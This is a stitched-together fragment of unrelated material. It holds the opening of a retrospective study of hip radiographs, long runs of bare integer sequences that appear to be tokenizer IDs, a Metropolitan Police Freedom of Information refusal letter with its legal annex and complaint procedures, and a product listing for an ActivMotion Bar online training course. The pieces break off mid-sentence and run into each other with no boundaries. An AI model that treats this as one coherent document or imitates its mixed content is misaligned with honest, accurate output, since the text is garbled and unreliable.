and 2011, AP pelvis and cross-table radiographs were routinely performed for patients who presented to our emergency department with acute trauma to the hip or femur. The X-rays and medical files of these patients were retrospectively evaluated. Inclusion criteria for the study included the presence of AP pelvis and cross-table radiographs of adequate quality, information on the patient\'s medical history, and patient age greater than 18 years. Patients who reported having hip symptoms (e.g., pain
[ 15, 187, 187, 2512, 310, 247, 1345, 1600, 275, 253, 22107, 273, 48638, 5871, 285, 187, 187, 11404, 2821, 29299, 326, 253, 353, 3299, 310, 20420, 285, 8069, 10620, 187, 187, 3113, 6617, 15, 187, 187, 510, 1345, 452, 247, 987, 281, 1902, 22107, 285, 30990, 275, 187, 187, 16429, 281, 253, 897, 273, 5259, 46185, 15, 187, 187, 3463, 24025, 390, 14624, 253, 1491, 368, 9521, 253, 1345, 588, 320, 187, 187, 38967, 273, 14006, 326, 1345, 8064, 403, 5262, 327, 15, 187, 187, 34182, 641, 1411, 16883, 390, 13336, 323, 5238, 1884, 187, 187, 48529, 272, 390, 14624, 253, 1491, 368, 9521, 651, 35007, 253, 187, 187, 24889, 304, 800, 1232, 15, 1310, 436, 1491, 497, 2918, 13, 352, 651, 320, 2918, 187, 187, 6538, 314, 323, 253, 4096, 273, 15686, 247, 6617, 15, 187, 187, 1147, 310, 417, 275, 253, 1345, 1600, 281, 13201, 667, 35070, 1232, 407, 187, 187, 38286, 272, 390, 14624, 253, 1491, 368, 9521, 15, 187, 187, 510, 353, 3299, 310, 6636, 342, 37703, 253, 1569, 13, 13538, 285, 15549, 6617, 187, 187, 395, 15233, 253, 7888, 359, 5752, 15, 187, 187, 510, 353, 3299, 588, 417, 2017, 335, 463, 1880, 1491, 310, 390, 310, 417, 2918, 604, 281, 513, 594, 187, 187, 12756, 31611, 2818, 841, 1774, 9503, 15, 187, 187, 3152, 13352, 627, 310, 247, 1345, 1600, 275, 253, 22107, 273, 48638, 187, 187, 42316, 285, 5277, 29299, 326, 253, 353, 3299, 310, 20420, 285, 187, 187, 8222, 1242, 10620, 342, 6617, 627, 310, 247, 2266, 1345, 1600, 275, 187, 187, 22768, 4297, 13218, 253, 12974, 273, 3513, 14006, 285, 5871, 285, 275, 187, 187, 41322, 1776, 7162, 275, 253, 353, 3299, 15, 187, 187, 34182, 641, 9796, 272, 16883, 390, 13336, 323, 5238, 4562, 2756, 187, 3463, 24025, 390, 14624, 1880, 1491, 310, 2918, 651, 8046, 253, 187, 187, 4387, 281, 452, 247, 1805, 4685, 273, 253, 1511, 273, 21041, 7091, 407, 187, 187, 783, 353, 3299, 275, 8785, 562, 616, 1569, 10473, 2554, 15, 187, 187, 36011, 1345, 11891, 778, 4796, 6617, 390, 1421, 281, 625, 1491, 432, 187, 187, 783, 1345, 347, 597, 651, 320, 625, 1759, 386, 275, 9610, 20634, 187, 187, 12135, 15, 187, 187, 34182, 641, 1411, 16883, 390, 13336, 323, 5238, 4562, 187, 187, 48529, 272, 390, 14624, 1880, 1491, 310, 2918, 651, 18230, 1569, 187, 187, 257, 19503, 21041, 285, 651, 9674, 35007, 253, 12212, 285, 187, 187, 49558, 273, 6617, 15, 187, 187, 1552, 651, 906, 275, 2007, 10502, 281, 253, 1345, 285, 17912, 2430, 187, 187, 783, 897, 273, 625, 353, 3299, 5300, 15, 187, 187, 24774, 6816, 6004, 187, 187, 22795, 373, 4911, 273, 1880, 1491, 310, 390, 3548, 626, 2918, 13, 1345, 5252, 285, 187, 187, 783, 3745, 281, 7257, 3576, 1569, 10473, 310, 273, 43527, 187, 187, 2948, 593, 281, 253, 353, 3299, 15, 187, 187, 48529, 318, 390, 13336, 273, 1880, 1491, 310, 390, 310, 417, 2918, 651, 187, 187, 1504, 22839, 18230, 1097, 1569, 10473, 285, 667, 10800, 187, 187, 24889, 304, 569, 15, 187, 187, 17756, 13, 387, 436, 2774, 275, 673, 13, 352, 310, 776, 4743, 326, 323, 841, 3374, 187, 187, 783, 26259, 1071, 323, 24025, 1880, 390, 417, 667, 1491, 12600, 187, 187, 936, 253, 1180, 273, 11307, 310, 417, 1160, 562, 15, 187, 187, 2302, 17032, 476, 320, 2668, 432, 436, 19963, 326, 667, 1491, 13, 1057, 390, 187, 187, 18566, 417, 2226, 15, 187, 187, 9507, 41104, 7999, 33238, 52, 187, 187, 7093, 4116, 310, 8392, 281, 253, 7660, 8335, 534, 4278, 634, 987, 273, 187, 187, 49692, 15, 187, 187, 18837, 368, 452, 667, 2007, 34839, 26286, 8664, 436, 2647, 13, 4496, 4579, 187, 187, 263, 3057, 479, 327, 11265, 1180, 470, 938, 8187, 1229, 27332, 19, 32249, 253, 3806, 187, 187, 9133, 1840, 15, 187, 187, 58, 2108, 43001, 187, 187, 18448, 10231, 187, 187, 4061, 7, 48, 8339, 15821, 187, 187, 49883, 45326, 187, 187, 12612, 337, 9, 18, 2769, 66, 10, 273, 253, 3162, 3400, 27, 187, 187, 9, 18, 10, 6693, 1436, 2403, 247, 2748, 323, 1491, 281, 247, 1345, 6265, 310, 187, 187, 290, 5924, 14, 187, 187, 9, 66, 10, 936, 320, 8191, 275, 4028, 407, 253, 1345, 6265, 1880, 352, 6556, 187, 187, 18480, 273, 253, 5740, 7616, 275, 253, 2748, 13, 285, 187, 187, 12612, 1722, 9, 18, 10, 273, 253, 3162, 3400, 27, 187, 187, 9, 18, 10, 34, 1345, 6265, 534, 13, 275, 5886, 281, 667, 2748, 323, 1491, 13, 187, 187, 261, 281, 667, 6070, 22128, 327, 247, 1750, 326, 667, 8332, 273, 3512, 3719, 12600, 187, 187, 936, 253, 7143, 281, 6583, 390, 13292, 310, 4623, 281, 253, 2748, 390, 327, 247, 1750, 187, 187, 3529, 1491, 310, 13959, 1491, 1364, 13, 1561, 253, 673, 323, 509, 2943, 187, 187, 3113, 2593, 337, 9, 18, 582, 1918, 253, 22123, 247, 4366, 534, 14, 187, 187, 9, 66, 10, 21196, 326, 958, 13, 187, 187, 9, 67, 10, 4157, 7790, 253, 25744, 275, 1953, 13, 285, 187, 187, 9, 68, 10, 21196, 313, 338, 326, 651, 417, 5010, 320, 5165, 10, 2139, 253, 25744, 187, 187, 1212, 23677, 15, 187, 187, 12612, 3495, 9, 22, 10, 273, 253, 3162, 3400, 27, 187, 187, 9, 22, 10, 380, 7143, 281, 6583, 390, 13292, 1057, 417, 12893, 604, 13, 390, 281, 253, 6070, 326, 13, 187, 187, 46451, 342, 2593, 337, 9, 18, 2769, 66, 10, 651, 6388, 253, 13911, 273, 667, 187, 187, 18480, 313, 20094, 390, 417, 2168, 5950, 10, 534, 369, 3587, 390, 187, 187, 527, 4128, 314, 12164, 281, 253, 1345, 6265, 407, 13, 390, 7033, 281, 13, 667, 273, 253, 187, 187, 67, 4550, 7616, 275, 19087, 313, 20, 481, 187, 187, 12612, 1884, 9, 20, 10, 273, 253, 3162, 3400, 27, 187, 187, 9, 20, 10, 510, 7143, 281, 6583, 390, 13292, 1057, 417, 12893, 275, 5886, 281, 1491, 187, 187, 4609, 310, 313, 263, 604, 352, 497, 2918, 407, 253, 1345, 6265, 651, 320, 10, 13959, 187, 187, 18480, 407, 16968, 273, 19087, 313, 18, 10, 390, 313, 19, 481, 187, 187, 12612, 4562, 9, 20, 10, 273, 253, 3162, 3400, 27, 187, 187, 9, 20, 10, 380, 7143, 281, 6583, 390, 13292, 1057, 417, 12893, 604, 13, 390, 281, 253, 6070, 326, 13, 187, 187, 46451, 342, 2593, 337, 9, 18, 2769, 66, 10, 651, 13, 390, 651, 320, 2779, 281, 13, 14751, 187, 187, 1279, 273, 253, 8213, 5393, 275, 19087, 313, 18, 481, 2756, 187, 9507, 41104, 7999, 33238, 52, 187, 187, 6723, 368, 26442, 342, 849, 634, 2748, 556, 644, 15726, 390, 513, 368, 1158, 253, 187, 187, 33642, 310, 13583, 32, 187, 187, 1394, 452, 253, 987, 281, 2430, 253, 28634, 9651, 6631, 313, 46, 3299, 10, 281, 187, 187, 15337, 616, 3061, 15, 187, 187, 20108, 281, 22237, 3390, 247, 7473, 5833, 368, 403, 10112, 285, 14659, 281, 187, 187, 35844, 253, 3061, 342, 253, 1083, 5908, 326, 18445, 342, 634, 2748, 15, 187, 187, 30326, 281, 452, 253, 3061, 3261, 387, 969, 1108, 187, 187, 510, 3158, 383, 285, 24746, 1039, 281, 452, 253, 3061, 3261, 387, 969, 310, 281, 187, 187, 29777, 6198, 253, 1083, 5908, 326, 310, 25546, 387, 253, 990, 273, 634, 3061, 187, 187, 15139, 15, 187, 187, 2773, 1436, 588, 320, 2104, 281, 2319, 253, 3061, 13, 5513, 667, 3374, 285, 187, 187, 515, 382, 342, 667, 3237, 15, 187, 187, 46004, 1143, 187, 187, 2042, 368, 403, 5408, 33496, 342, 253, 10885, 7259, 390, 253, 3061, 273, 187, 187, 783, 353, 3299, 1160, 762, 253, 20574, 273, 8339, 3162, 5307, 313, 783, 3162, 10, 5001, 187, 187, 10773, 281, 1491, 368, 476, 40486, 247, 5833, 342, 253, 353, 3299, 281, 452, 253, 187, 187, 33642, 9814, 15, 187, 187, 46004, 1143, 84, 943, 320, 1160, 275, 4028, 13, 1561, 14327, 313, 1449, 10, 2444, 1897, 432, 187, 187, 783, 3522, 273, 253, 19963, 4366, 13, 285, 9713, 281, 27, 187, 187, 8768, 42, 25868, 187, 187, 15689, 13135, 7454, 187, 187, 5964, 14423, 8988, 14403, 187, 187, 18868, 187, 187, 13753, 23, 337, 14853, 187, 187, 60, 12812, 2953, 62, 187, 187, 688, 512, 1896, 5989, 253, 353, 3299, 588, 4388, 281, 3794, 281, 634, 187, 187, 49692, 1561, 1384, 2444, 1897, 15, 187, 187, 510, 8339, 15605, 187, 187, 4553, 22237, 3390, 247, 5833, 342, 253, 353, 3299, 604, 368, 403, 1335, 5408, 33496, 342, 187, 187, 783, 3061, 368, 778, 1056, 2898, 281, 253, 8339, 15605, 323, 187, 187, 66, 3061, 327, 1880, 253, 2748, 323, 1491, 556, 644, 18445, 342, 275, 187, 187, 39844, 593, 342, 253, 6095, 273, 253, 3162, 15, 187, 187, 2214, 1491, 327, 849, 281, 1056, 2898, 281, 253, 8339, 15605, 187, 187, 32897, 4143, 616, 4422, 387, 8280, 15, 18480, 681, 2230, 254, 15, 12312, 15, 2788, 15, 187, 187, 42297, 13, 4481, 390, 3630, 281, 27, 187, 187, 21166, 15605, 434, 7454, 187, 187, 56, 9920, 30908, 3995, 187, 187, 26042, 19051, 187, 187, 21892, 983, 676, 187, 187, 36, 1041, 11094, 187, 187, 16582, 26, 608, 9006, 187, 187, 10504, 27, 470, 1036, 1099, 42974, 18450, 187, 187, 12481, 3130, 11733, 310, 253, 6365, 434, 11847, 281, 320, 327, 253, 10198, 285, 275, 634, 187, 187, 11713, 1005, 281, 5834, 33815, 13, 3657, 6617, 285, 1329, 10349, 15, 844, 403, 187, 187, 1568, 323, 4693, 13, 2444, 342, 368, 281, 1056, 776, 5347, 23107, 15, 187, 187, 16628, 776, 3126, 428, 4496, 513, 417, 3379, 436, 4579, 5734, 187, 187, 5375, 24828, 3309, 15, 187, 187, 10311, 8875, 428, 831, 4579, 285, 667, 37969, 778, 320, 18987, 13, 2256, 281, 187, 187, 35152, 285, 16, 263, 4320, 15863, 285, 403, 6034, 12718, 323, 253, 897, 273, 187, 187, 783, 6034, 18344, 15, 1310, 368, 452, 2959, 436, 4579, 275, 2228, 13, 4496, 187, 187, 34457, 253, 22647, 285, 11352, 352, 432, 634, 985, 15, 1916, 3693, 36967, 804, 187, 187, 7685, 37729, 13, 368, 1364, 417, 16969, 390, 3491, 253, 1491, 275, 436, 187, 187, 12812, 1293, 253, 9214, 273, 253, 22647, 15, 353, 3299, 5511, 2718, 403, 187, 187, 2163, 15931, 281, 253, 6070, 11460, 407, 1569, 15, 13162, 13, 667, 4579, 285, 16, 263, 187, 187, 38729, 942, 778, 320, 1239, 407, 8667, 4750, 15, 7214, 7616, 11570, 403, 187, 187, 7582, 1701, 281, 7525, 667, 4865, 4345, 327, 11136, 273, 253, 353, 3299, 407, 187, 187, 12812, 15, 380, 353, 3299, 25026, 642, 8294, 323, 440, 7582, 1701, 15486, 187, 187, 250, 2729, 342, 643, 6171, 390, 6083, 15, 380, 3988, 273, 436, 4579, 285, 187, 187, 1279, 37969, 2550, 320, 16293, 15, 21726, 8169, 403, 21774, 25266, 187, 187, 2858, 24764, 3694, 5066, 285, 16933, 273, 2600, 476, 1335, 2826, 187, 187, 32674, 6322, 689, 253, 7336, 15, 6101, 6849, 390, 11626, 4469, 275, 187, 187, 2520, 5511, 403, 12718, 1110, 273, 253, 2488, 285, 513, 417, 7933, 187, 187, 12554, 1110, 273, 253, 28634, 9651, 6631, 313, 46, 3299, 481, 187, 187, 9867, 441, 387, 27, 187, 187, 25116, 27, 6745, 15, 681, 16, 3899, 50141, 2788, 187, 187, 31068, 27, 1214, 3899, 50141, 2788, 30430, 5952, 569, 19036, 29746, 187, 187, 30430, 5952, 569, 19036, 29746, 187, 187, 5, 2090, 15, 1525, 187, 187, 1552, 310, 253, 39750, 39363, 4033, 15650, 5952, 569, 19036, 29746, 15, 1198, 1110, 665, 403, 7591, 281, 8041, 247, 3153, 3733, 2282, 533, 971, 281, 1287, 253, 2173, 3640, 285, 6936, 2905, 281, 39750, 39363, 4033, 10717, 285, 18418, 13, 436, 2969, 2456, 14, 15505, 3909, 2282, 310, 247, 1270, 2900, 15, 187, 187, 1552, 3909, 2282, 3249, 3426, 342, 247, 3048, 281, 253, 3733, 3492, 285, 247, 3048, 281, 253, 3909, 3733, 11595, 15, 6295, 4859, 588, 320, 8549, 281, 634, 4579, 34272, 2220, 12240, 273, 21016, 253, 2282, 15, 187, 187, 2214, 14601, 12440, 13, 436, 2282, 310, 13410, 323, 374, 14206, 19, 330, 31353, 949, 29376, 13, 13170, 46, 285, 11854, 2446, 15, 187, 187, 11185, 187, 187, 1552, 310, 253, 39750, 39363, 4033, 15650, 5952, 569, 19036, 29746, 15, 1198, 1110, 665, 403, 7591, 281, 8041, 247, 3153, 3733, 2282, 533, 971, 281, 1287, 253, 2173, 3640, 285, 6936, 2905, 281, 39750, 39363, 4033, 10717, 285, 18418, 13, 436, 2969, 2456, 14, 15505, 3909 ]	. There is a public interest in the transparency of policing operations and providing assurance that the MPS is appropriately and effectively dealing with crime. The public have a right to expect transparency and accountability in relation to the use of Public Funds. By confirming or denying the information you requested the public will be informed of investigations that public funds are spent on. Factors against confirmation or denial for Section 30 Confirming or denying the information you requested would hinder the investigative process. If this information were held, it would be held solely for the purpose of investigating a crime. It is not in the public interest to disrupt any investigative process by confirming or denying the information you requested. The MPS is charged with enforcing the law, preventing and detecting crime and protecting the communities we serve. The MPS will not divulge whether information is or is not held if to do so would adversely affect these important roles. Whilst there is a public interest in the transparency of policing operations and providing assurance that the MPS is appropriately and effectively dealing with crime there is a strong public interest in safeguarding the integrity of police investigations and operations and in maintaining confidence in the MPS. Factors favouring confirmation or denial for Section 31 By confirming or denying whether information is held would enable the public to have a better understanding of the type of tactics employed by the MPS in carrying out their law enforcement role. Better public awareness may reduce crime or lead to more information from the public as they would be more observant in reporting suspicious activity. Factors against confirmation or denial for Section 31 Confirming or denying whether information is held would compromise law enforcement tactics and would subsequently hinder the prevention and detection of crime. This would result in further risks to the public and consequently require the use of more MPS resources. Balancing Test Irrespective of whether information is or isn't held, public safety and the ability to deliver effective law enforcement is of paramount importance to the MPS. Confirmation or denial of whether information is or is not held would undoubtedly compromise both law enforcement and any ongoing investigations. Therefore, at this moment in time, it is our opinion that for these issues the balancing test for confirming whether or not any information relating to the number of allegations is not made out. No inference can be taken from this refusal that any information, does or does not exist. COMPLAINT RIGHTS Your attention is drawn to the attached sheet which details your right of complaint. Should you have any further enquiries concerning this matter, please email or contact me on telephone number 020 7230 2372 quoting the reference number above. Yours sincerely James Young SC&O Information Manager Legal Annex Section 1(1)(a) of the Act provides: (1)Any person making a request for information to a public authority is entitled- (a)to be informed in writing by the public authority whether it holds information of the description specified in the request, and Section 17(1) of the Act provides: (1)A public authority which, in relation to any request for information, is to any extent relying on a claim that any provision of Part II relating to the duty to confirm or deny is relevant to the request or on a claim that information is exempt information must, within the time for complying with section 1(1), give the applicant a notice which- (a)states that fact, (b)specifies the exemption in question, and (c)states (if that would not otherwise be apparent) why the exemption applies. Section 23(5) of the Act provides: (5) The duty to confirm or deny does not arise if, or to the extent that, compliance with section 1(1)(a) would involve the disclosure of any information (whether or not already recorded) which was directly or indirectly supplied to the public authority by, or relates to, any of the bodies specified in subsection (3). Section 30(3) of the Act provides: (3)The duty to confirm or deny does not arise in relation to information which is (or if it were held by the public authority would be) exempt information by virtue of subsection (1) or (2). Section 31(3) of the Act provides: (3) The duty to confirm or deny does not arise if, or to the extent that, compliance with section 1(1)(a) would, or would be likely to, prejudice any of the matters mentioned in subsection (1). COMPLAINT RIGHTS Are you unhappy with how your request has been handled or do you think the decision is incorrect? You have the right to require the Metropolitan Police Service (MPS) to review their decision. Prior to lodging a formal complaint you are welcome and encouraged to discuss the decision with the case officer that dealt with your request. Ask to have the decision looked at again – The quickest and easiest way to have the decision looked at again is to telephone the case officer that is nominated at the end of your decision letter. That person will be able to discuss the decision, explain any issues and assist with any problems. Complaint If you are dissatisfied with the handling procedures or the decision of the MPS made under the Freedom of Information Act 2000 (the Act) regarding access to information you can lodge a complaint with the MPS to have the decision reviewed. Complaints should be made in writing, within forty (40) working days from the date of the refusal notice, and addressed to: FOI Complaint Public Access Office PO Box 57192 London SW6 1SF [email address] In all possible circumstances the MPS will aim to respond to your complaint within 20 working days. The Information Commissioner After lodging a complaint with the MPS if you are still dissatisfied with the decision you may make application to the Information Commissioner for a decision on whether the request for information has been dealt with in accordance with the requirements of the Act. For information on how to make application to the Information Commissioner please visit their website at www.informationcommissioner.gov.uk. Alternatively, phone or write to: Information Commissioner's Office Wycliffe House Water Lane Wilmslow Cheshire SK9 5AF Phone: 01625 545 700 Total Policing is the Met's commitment to be on the streets and in your communities to catch offenders, prevent crime and support victims. We are here for London, working with you to make our capital safer. Consider our environment - please do not print this email unless absolutely necessary. NOTICE - This email and any attachments may be confidential, subject to copyright and/or legal privilege and are intended solely for the use of the intended recipient. If you have received this email in error, please notify the sender and delete it from your system. To avoid incurring legal liabilities, you must not distribute or copy the information in this email without the permission of the sender. MPS communication systems are monitored to the extent permitted by law. Consequently, any email and/or attachments may be read by monitoring staff. Only specified personnel are authorised to conclude any binding agreement on behalf of the MPS by email. The MPS accepts no responsibility for unauthorised agreements reached with other employees or agents. The security of this email and any attachments cannot be guaranteed. Email messages are routinely scanned but malicious software infection and corruption of content can still occur during transmission over the Internet. Any views or opinions expressed in this communication are solely those of the author and do not necessarily represent those of the Metropolitan Police Service (MPS). Find us at: Facebook: Facebook.com/metpoliceuk Twitter: @metpoliceukOnline Foundations Training Course Online Foundations Training Course $69.99 This is the ActivMotion Bar Online Foundations Training Course. For those who are unable to attend a live training course but want to develop the specific knowledge and skills related to ActivMotion Bar programming and exercises, this simple 50-minute online course is a great solution. This online course comes complete with a link to the training video and a link to the online training manual. Both links will be delivered to your email inbox upon completion of purchasing the course. For fitness professionals, this course is eligible for 2/.2 CECs through ACE, NASM and AFAA. Description This is the ActivMotion Bar Online Foundations Training Course. For those who are unable to attend a live training course but want to develop the specific knowledge and skills related to ActivMotion Bar programming and exercises, this simple 50-minute online
[ 4166, 424, 187, 187, 424, 9675, 3003, 20467, 35, 11188, 1194, 4827, 6098, 187, 187, 424, 42805, 10379, 43170, 424, 187, 187, 424, 42805, 40683, 6505, 424, 187, 187, 424, 42805, 260, 39821, 287, 424, 187, 187, 424, 42805, 30907, 591, 6077, 313, 85, 6336, 246, 9837, 10, 6505, 424, 187, 187, 424, 36942, 1070, 2639, 30353, 313, 6377, 27518, 4846, 187, 187, 424, 36942, 1070, 330, 1028, 360, 1653, 313, 6377, 16918, 4846, 187, 187, 424, 31352, 663, 44513, 44783, 313, 6377, 32900, 4846, 187, 187, 18, 10, 496, 247, 1781, 11636, 13, 5878, 253, 11152, 342, 253, 27408, 13, 39033, 13, 480, 280, 2902, 13, 285, 31022, 15, 5733, 253, 41168, 285, 5878, 973, 15, 22347, 275, 253, 258, 43441, 12364, 13, 6773, 12364, 13, 8618, 13, 4166, 13, 7043, 13, 285, 13835, 15, 187, 187, 19, 10, 13470, 581, 11789, 2929, 27436, 275, 2914, 273, 368, 327, 247, 1892, 2553, 390, 9968, 4450, 15, 9272, 337, 23451, 273, 253, 9132, 7802, 275, 247, 11593, 1386, 670, 581, 14, 19016, 273, 253, 1039, 598, 253, 27436, 432, 253, 5004, 13, 6108, 247, 9185, 14, 3429, 5680, 327, 2057, 1930, 15, 46806, 253, 5004, 273, 253, 27436, 689, 253, 9132, 285, 1265, 14572, 19123, 13, 2403, 2119, 281, 246, 1807, 275, 253, 7123, 347, 368, 564, 15, 5037, 626, 4533, 1512, 18996, 390, 253, 27436, 1537, 16024, 15, 13470, 253, 4533, 327, 247, 5340, 285, 10280, 342, 253, 5780, 9342, 13906, 285, 9132, 12868, 15, 187, 187, 20, 10, 22512, 253, 4166, 275, 247, 3676, 37548, 390, 259, 536, 689, 4646, 4250, 15, 10243, 247, 17326, 8335, 342, 2929, 41204, 15, 7243, 253, 4166, 310, 3511, 13, 1659, 608, 21968, 387, 673, 275, 253, 3199, 285, 4417, 731, 1919, 616, 20823, 1487, 1614, 14072, 8516, 13, 670, 818, 281, 884, 2909, 15, 6915, 247, 1499, 7655, 26531, 390, 1629, 22369, 13, 3700, 253, 18621, 21968, 281, 253, 5480, 17326, 8335, 281, 12657, 15, 37780, 253, 1232, 342, 253, 5780, 21968, 15, 187, 187, 21, 10, 35166, 253, 7203, 21968, 3511, 2112, 342, 253, 23008, 499, 2569, 285, 10867, 663, 44513, 44783, 15, 187, 187, 11, 475, 475, 187, 187, 9707, 6725, 1311, 2025, 5935, 26887, 10845, 2637, 416, 8875, 367, 2088, 947, 6651, 6246, 1830, 35389, 16636, 2293, 52, 187, 187, 1992, 1056, 9670, 7550, 4789, 7203, 21968, 13, 368, 1833, 878, 281, 897, 2067, 1027, 41204, 387, 2378, 285, 8031, 731, 594, 253, 11789, 2929, 2506, 626, 6079, 562, 15, 380, 3962, 29861, 323, 253, 2628, 310, 247, 1355, 13, 4076, 13, 298, 565, 14, 4924, 8576, 29861, 326, 588, 2186, 19755, 15, 313, 46250, 41204, 588, 2740, 285, 14841, 498, 21992, 2186, 1512, 1199, 1824, 2698, 844, 3798, 452, 670, 3578, 8576, 41204, 327, 1133, 323, 436, 4096, 15, 187, 187, 7058, 26887, 49, 9818, 3003, 416, 8875, 367, 2088, 947, 27, 187, 187, 18, 10, 36529, 247, 1781, 11636, 342, 5890, 1824, 285, 46026, 253, 41204, 512, 2366, 15, 20004, 253, 41204, 581, 14, 1615, 14, 531, 285, 29684, 512, 273, 253, 1824, 562, 273, 1016, 29861, 15, 31910, 253, 17848, 84, 6507, 327, 247, 1892, 2553, 390, 14872, 9968, 4450, 13, 581, 327, 1755, 273, 253, 643, 15, 187, 187, 19, 10, 11668, 253, 1755, 17848, 745, 285, 1659, 352, 327, 247, 1892, 2553, 390, 9968, 4450, 15, 13470, 581, 11789, 2929, 27436, 327, 1755, 273, 253, 17848, 13, 285, 840, 1659, 1529, 17848, 327, 1755, 273, 352, 15, 27144, 2403, 247, 747, 8031, 13, 3960, 1523, 2242, 2158, 17848, 84, 285, 11789, 9342, 13906, 1919, 368, 452, 6107, 512, 273, 634, 9342, 13906, 15, 187, 187, 20, 10, 3954, 19153, 253, 8031, 689, 594, 326, 253, 11789, 27436, 327, 253, 5004, 310, 1024, 327, 253, 1755, 13, 285, 897, 326, 581, 806, 13, 347, 352, 588, 320, 253, 9685, 2566, 285, 4704, 281, 564, 15, 187, 187, 11, 475, 475, 187, 45, 302, 316, 13, 31541, 708, 1608, 29680, 40212, 187, 187, 30308, 418, 9981, 4889, 5689, 6764, 45514, 2637, 47305, 2350, 4110, 8021, 53, 31085, 39155, 42954, 17983, 795, 32674, 253, 3511, 285, 33595, 5768, 2607, 275, 15732, 13, 984, 2257, 316, 310, 7561, 6566, 281, 3157, 17351, 285, 452, 247, 12356, 1055, 327, 253, 2133, 15, 380, 4279, 281, 2970, 253, 2257, 316, 5322, 285, 35178, 90, 342, 253, 987, 10020, 14, 29397, 1070, 13746, 310, 281, 29684, 512, 273, 253, 1824, 562, 273, 352, 1078, 2304, 8779, 352, 275, 28140, 285, 8618, 15, 35166, 436, 22462, 342, 35423, 16666, 3333, 187, 187, 3788, 46009, 577, 21847, 19212, 187, 187, 424, 18, 5500, 21569, 358, 796, 31541, 4819, 394, 313, 6377, 31282, 10, 390, 4657, 14, 67, 1224, 1698, 14, 84, 26796, 11152, 26425, 424, 187, 187, 424, 21, 5352, 18616, 6505, 13, 24983, 424, 187, 187, 424, 18, 1781, 313, 25, 14, 12943, 10, 10163, 6134, 13, 4808, 1417, 11152, 5988, 424, 187, 187, 424, 18, 23451, 3168, 8995, 424, 187, 187, 424, 18, 15893, 16517, 482, 4166, 424, 187, 187, 424, 158, 216, 230, 21059, 480, 45566, 35423, 313, 3281, 3127, 16, 1099, 28, 670, 721, 7437, 582, 35003, 285, 34344, 967, 424, 187, 187, 424, 18, 23451, 6773, 12364, 424, 187, 187, 424, 19, 18850, 8618, 424, 187, 187, 424, 18, 23451, 3168, 28140, 424, 187, 187, 424, 25, 28409, 45364, 2257, 316, 8424, 13, 41502, 13, 31817, 13, 285, 2624, 715, 374, 14, 12099, 7437, 424, 187, 187, 424, 19, 44699, 32481, 661, 13, 2624, 715, 374, 14, 12099, 1048, 13, 6906, 22486, 424, 187, 187, 424, 8313, 47215, 13, 2624, 715, 374, 14, 12099, 1048, 13, 6906, 22486, 424, 187, 187, 424, 21, 18850, 17513, 5352, 30907, 944, 74, 5945, 313, 376, 86, 391, 4265, 78, 10, 6505, 424, 187, 187, 424, 18, 15893, 17513, 38240, 17426, 424, 187, 187, 424, 18, 23451, 24983, 38240, 759, 50166, 13, 323, 34226, 763, 424, 187, 187, 424, 18, 15893, 17513, 3091, 1502, 13, 323, 34226, 763, 424, 187, 187, 18, 10, 496, 247, 4646, 1721, 13, 13398, 337, 5500, 273, 1824, 13, 253, 11152, 26425, 13, 285, 253, 24983, 18616, 6505, 15, 28436, 253, 7802, 281, 247, 22149, 689, 1029, 4250, 13, 840, 4796, 253, 4250, 281, 4646, 285, 823, 253, 11152, 5988, 15, 27144, 281, 1698, 22149, 323, 884, 2909, 13, 2403, 2119, 281, 43816, 745, 253, 8954, 394, 15, 11748, 745, 253, 4250, 13, 3835, 253, 1721, 13, 285, 1339, 352, 1790, 323, 884, 2909, 15, 20004, 253, 11152, 432, 253, 26425, 285, 3700, 352, 281, 247, 1781, 11636, 281, 4484, 15, 7243, 253, 11152, 556, 27336, 1066, 13, 28347, 352, 407, 1133, 715, 253, 11636, 15, 6618, 9255, 15, 187, 187, 19, 10, 16257, 13, 275, 247, 1273, 4646, 1721, 13, 3324, 337, 5500, 273, 1824, 13, 253, 8995, 13, 285, 253, 16517, 482, 4166, 281, 247, 22149, 689, 1029, 4250, 15, 36529, 247, 4646, 11636, 342, 6749, 1824, 285, 873, 352, 10151, 15, 2071, 3903, 253, 35423, 407, 6240, 731, 281, 253, 25317, 1721, 273, 1824, 323, 337, 7017, 15, 659, 1949, 253, 35423, 949, 247, 847, 5945, 13, 1262, 13218, 253, 12398, 5558, 13, 285, 840, 3700, 253, 35423, 281, 253, 6749, 1824, 323, 374, 2909, 15, 20004, 253, 35423, 432, 253, 1824, 285, 873, 731, 9255, 15, 187, 187, 20, 10, 47127, 253, 6773, 12364, 275, 247, 4646, 40250, 689, 1698, 4250, 13, 285, 10576, 275, 337, 23451, 273, 253, 8618, 28, 4417, 13, 22213, 13, 1919, 253, 8618, 556, 4336, 18224, 13, 670, 374, 2909, 15, 20004, 253, 3199, 432, 253, 4250, 15, 7243, 253, 12364, 556, 27336, 13, 823, 253, 35423, 285, 11152, 285, 1614, 281, 11959, 731, 275, 253, 2304, 249, 796, 15, 187, 187, 21, 10, 16257, 13, 275, 247, 4646, 11636, 13, 10576, 2366, 253, 28140, 13, 253, 5780, 23451, 273, 8618, 13, 285, 374, 18850, 273, 1824, 15, 322, 39757, 2721, 562, 667, 6714, 1824, 432, 253, 2257, 316, 23880, 13, 840, 823, 731, 281, 253, 11636, 28, 873, 731, 9255, 281, 2304, 4024, 323, 1884, 2909, 15, 20004, 253, 2257, 316, 23880, 432, 253, 2304, 249, 796, 285, 29684, 5777, 13, 533, 417, 1512, 1199, 28, 368, 760, 971, 281, 5386, 6714, 2304, 249, 796, 15, 187, 187, 22, 10, 496, 247, 1781, 11636, 13, 15331, 253, 2304, 3901, 35423, 285, 11152, 342, 253, 2257, 316, 13, 44699, 13, 39033, 13, 30907, 944, 74, 5945, 13, 285, 38240, 17426, 15, 2732, 49488, 13, 1659, 253, 22462, 327, 247, 9417, 5340, 13, 43045, 253, 35423, 285, 11152, 327, 1755, 15, 48855, 763, 342, 759, 50166, 285, 3091, 1502, 1078, 9417, 15, 187, 2809, 29680, 14538, 21508, 84, 187, 187, 8835, 1400, 17450, 9942, 5543, 46, 39835, 399, 5236, 1322, 40505, 1703, 5935, 9242, 4785, 1843, 10634, 3003, 353, 1400, 54, 795, 255, 776, 1711, 9890, 1448, 74, 342, 30907, 14, 38358, 17114, 13, 581, 273, 253, 806, 4957, 703, 9703, 369, 247, 5768, 4533, 15, 1500, 3047, 326, 7108, 10490, 22462, 285, 701, 326, 597, 651, 751, 352, 1014, 625, 604, 597, 812, 2186, 352, 275, 616, 3564, 275, 247, 18176, 11789, 2929, 5522, 15, 4683, 2282, 703, 369, 987, 13, 285, 253, 1708, 285, 13746, 1020, 5768, 4533, 369, 271, 8164, 4352, 15, 